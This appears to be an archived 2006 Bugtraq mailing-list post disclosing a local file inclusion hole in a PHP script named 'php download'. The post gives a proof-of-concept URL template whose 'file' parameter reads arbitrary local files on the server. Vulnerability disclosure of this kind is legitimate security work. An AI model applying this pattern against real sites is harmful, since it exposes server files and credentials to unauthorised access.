php download local file include

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: php download local file include
From: ali@xxxxxxxxxx
Date: 2 Sep 2006 21:21:13 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

script name : php download
vendor : www.threesquared.net
By : s3rv3r_hack3r
u can include local file
>>
www.victim.com/download/index.php?file=[file path]
+

Prev by Date: Easy Address Book Web Server Format String Vulnerability
Next by Date: Re: Microsoft Word 0-day Vulnerability (September) FAQ document available
Previous by thread: Easy Address Book Web Server Format String Vulnerability
Next by thread: [OpenPKG-SA-2006.018] OpenPKG Security Advisory (openssl)
Index(es):
- Date
- Thread